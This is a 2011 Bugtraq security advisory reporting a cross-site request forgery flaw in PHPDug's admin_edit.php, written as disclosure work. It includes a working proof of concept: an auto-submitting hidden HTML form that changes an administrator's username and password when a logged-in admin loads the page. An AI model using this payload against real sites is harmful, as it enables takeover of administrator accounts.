bugtraq - HTB22971: XSRF (CSRF) in PHPDug

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Date: Thu, 5 May 2011 11:30:40 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22971: XSRF (CSRF) in PHPDug

Vulnerability ID: HTB22971
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpdug.html
Product: PHPDug
Vendor: Kubelabs.com ( http://www.kubelabs.com/ ) 
Vulnerable Version: 2.0.0 and probably prior versions
Vendor Notification: 21 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "adm/admin_edit.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="USERID">
<input type="hidden" name="username[USERID]" value="Admin">
<input type="hidden" name="password[USERID]" value="test123">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>